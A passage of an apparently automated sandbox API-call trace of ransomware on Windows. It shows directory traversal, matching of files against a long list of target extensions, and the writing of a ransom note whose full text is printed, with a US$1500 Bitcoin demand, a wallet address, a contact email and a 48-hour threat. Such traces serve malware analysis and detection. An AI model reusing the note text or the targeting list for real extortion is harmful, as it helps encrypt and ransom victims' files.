(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.vsd") returned 0 [0105.066] lstrlenA (lpString="*.vsd") returned 5 [0105.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.odg") returned 0 [0105.066] lstrlenA (lpString="*.odg") returned 5 [0105.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.raw") returned 0 [0105.067] lstrlenA (lpString="*.raw") returned 5 [0105.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.nef") returned 0 [0105.067] lstrlenA (lpString="*.nef") returned 5 [0105.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.svg") returned 0 [0105.067] lstrlenA (lpString="*.svg") returned 5 [0105.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.psd") returned 0 [0105.067] lstrlenA (lpString="*.psd") returned 5 [0105.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.vmx") returned 0 [0105.067] lstrlenA (lpString="*.vmx") returned 5 [0105.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.vmdk") returned 0 [0105.067] lstrlenA (lpString="*.vmdk") returned 6 [0105.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.vdi") returned 0 [0105.067] lstrlenA (lpString="*.vdi") returned 5 [0105.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.lay6") returned 0 [0105.067] lstrlenA (lpString="*.lay6") returned 6 [0105.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.mpeg") returned 0 [0105.067] lstrlenA (lpString="*.mpeg") returned 6 [0105.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.djvu") returned 0 [0105.068] lstrlenA (lpString="*.djvu") returned 6 [0105.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.tiff") returned 0 [0105.068] lstrlenA (lpString="*.tiff") returned 6 [0105.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.backup") returned 0 [0105.068] lstrlenA (lpString="*.backup") returned 8 [0105.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.pdf") returned 0 [0105.068] lstrlenA (lpString="*.pdf") returned 5 [0105.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.cert") returned 0 [0105.068] lstrlenA (lpString="*.cert") returned 6 [0105.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.docm") returned 0 [0105.068] lstrlenA (lpString="*.docm") returned 6 [0105.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.xlsm") returned 0 [0105.068] lstrlenA (lpString="*.xlsm") returned 6 [0105.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.dwg") returned 0 [0105.068] lstrlenA (lpString="*.dwg") returned 5 [0105.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.nd") returned 0 [0105.068] lstrlenA (lpString="*.nd") returned 4 [0105.068] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.tlg") returned 0 [0105.069] lstrlenA (lpString="*.tlg") returned 5 [0105.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.lgb") returned 0 [0105.069] lstrlenA (lpString="*.lgb") returned 5 [0105.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.mov") returned 0 [0105.069] lstrlenA (lpString="*.mov") returned 5 [0105.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.xdw") returned 0 [0105.069] lstrlenA (lpString="*.xdw") returned 5 [0105.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.ods") returned 0 [0105.069] lstrlenA (lpString="*.ods") returned 5 [0105.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.wav") returned 0 [0105.069] lstrlenA (lpString="*.wav") returned 5 [0105.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.mp3") returned 0 [0105.069] lstrlenA (lpString="*.mp3") returned 5 [0105.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.aiff") returned 0 [0105.069] lstrlenA (lpString="*.aiff") returned 6 [0105.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.flac") returned 0 [0105.069] lstrlenA (lpString="*.flac") returned 6 [0105.069] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.m4a") returned 0 [0105.070] lstrlenA (lpString="*.m4a") returned 5 [0105.070] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.OracleC#\\907f5045e26c39e1ae48024201b6334d\\System.Data.OracleClient.ni.dll", pszSpec="*.csv") returned 0 [0105.070] lstrlenA (lpString="*.csv") returned 5 [0105.070] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18025a12, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x18025a12, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1804bb72, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x110a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.OracleClient.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0105.070] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0105.070] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x180e40f4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x180e40f4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x180e40f4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="907f5045e26c39e1ae48024201b6334d", cAlternateFileName="907F50~1")) returned 0 [0105.070] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0105.070] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87d04832, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8817b17a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8817b17a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Data.Service#", cAlternateFileName="SYE4D8~1.SER")) returned 1 [0105.070] lstrcmpA (lpString1=".", lpString2="System.Data.Service#") returned -1 [0105.070] lstrcmpA (lpString1="..", lpString2="System.Data.Service#") returned -1 [0105.070] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0105.070] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Data.Service#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#" [0105.070] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#") returned 67 [0105.070] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87d04832, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8817b17a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8817b17a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0105.076] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0105.076] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87d04832, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8817b17a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8817b17a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.076] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0105.076] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0105.076] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8817b17a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8817b17a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8817b17a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="5d0f494f1be2367fb0a634956f719965", cAlternateFileName="5D0F49~1")) returned 1 [0105.076] lstrcmpA (lpString1=".", lpString2="5d0f494f1be2367fb0a634956f719965") returned -1 [0105.076] lstrcmpA (lpString1="..", lpString2="5d0f494f1be2367fb0a634956f719965") returned -1 [0105.076] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\*.*") returned="*.*" [0105.076] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\", lpString2="5d0f494f1be2367fb0a634956f719965" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965" [0105.076] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965") returned 100 [0105.076] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8817b17a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8817b17a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8817b17a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0105.077] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0105.077] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8817b17a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8817b17a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8817b17a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.077] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0105.077] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0105.077] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8812eeba, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8812eeba, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8812eeba, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x70e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Services.Design.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0105.077] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0105.077] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.Services.Design.ni.dll") returned -1 [0105.077] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.Services.Design.ni.dll") returned -1 [0105.077] lstrcmpiA (lpString1="", lpString2="System.Data.Services.Design.ni.dll") returned -1 [0105.077] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\*.*") returned="*.*" [0105.078] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\" [0105.078] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\") returned="" [0105.079] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\HOW TO DECRYPT FILES.txt" [0105.079] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.data.service#\\5d0f494f1be2367fb0a634956f719965\\how to decrypt files.txt")) returned 0xffffffff [0105.079] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.data.service#\\5d0f494f1be2367fb0a634956f719965\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0105.080] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0105.081] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0105.083] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0105.083] CloseHandle (hObject=0x90) returned 1 [0105.083] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\", lpString2="System.Data.Services.Design.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll" [0105.083] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.ems") returned 0 [0105.083] lstrlenA (lpString="*.ems") returned 5 [0105.083] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.db") returned 0 [0105.083] lstrlenA (lpString="*.db") returned 4 [0105.083] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.dbf") returned 0 [0105.084] lstrlenA (lpString="*.dbf") returned 5 [0105.084] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.myox") returned 0 [0105.084] lstrlenA (lpString="*.myox") returned 6 [0105.084] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.myo") returned 0 [0105.084] lstrlenA (lpString="*.myo") returned 5 [0105.084] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.qbw") returned 0 [0105.084] lstrlenA (lpString="*.qbw") returned 5 [0105.084] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.qbb") returned 0 [0105.084] lstrlenA (lpString="*.qbb") returned 5 [0105.084] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.qbm") returned 0 [0105.084] lstrlenA (lpString="*.qbm") returned 5 [0105.084] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.qbo") returned 0 [0105.084] lstrlenA (lpString="*.qbo") returned 5 [0105.084] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.qbx") returned 0 [0105.084] lstrlenA (lpString="*.qbx") returned 5 [0105.084] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.qba") returned 0 [0105.084] lstrlenA (lpString="*.qba") returned 5 [0105.084] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.qby") returned 0 [0105.085] lstrlenA (lpString="*.qby") returned 5 [0105.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.qbj") returned 0 [0105.085] lstrlenA (lpString="*.qbj") returned 5 [0105.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.ofx") returned 0 [0105.085] lstrlenA (lpString="*.ofx") returned 5 [0105.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.qif") returned 0 [0105.085] lstrlenA (lpString="*.qif") returned 5 [0105.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.mye") returned 0 [0105.085] lstrlenA (lpString="*.mye") returned 5 [0105.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.mbox") returned 0 [0105.085] lstrlenA (lpString="*.mbox") returned 6 [0105.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.eml") returned 0 [0105.085] lstrlenA (lpString="*.eml") returned 5 [0105.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.pst") returned 0 [0105.085] lstrlenA (lpString="*.pst") returned 5 [0105.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.ost") returned 0 [0105.085] lstrlenA (lpString="*.ost") returned 5 [0105.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.idx") returned 0 [0105.086] lstrlenA (lpString="*.idx") returned 5 [0105.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.dbx") returned 0 [0105.086] lstrlenA (lpString="*.dbx") returned 5 [0105.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.sql") returned 0 [0105.086] lstrlenA (lpString="*.sql") returned 5 [0105.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.mdb") returned 0 [0105.086] lstrlenA (lpString="*.mdb") returned 5 [0105.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.fdb") returned 0 [0105.086] lstrlenA (lpString="*.fdb") returned 5 [0105.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.wab") returned 0 [0105.086] lstrlenA (lpString="*.wab") returned 5 [0105.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.dat") returned 0 [0105.086] lstrlenA (lpString="*.dat") returned 5 [0105.086] PathMatchSpecA 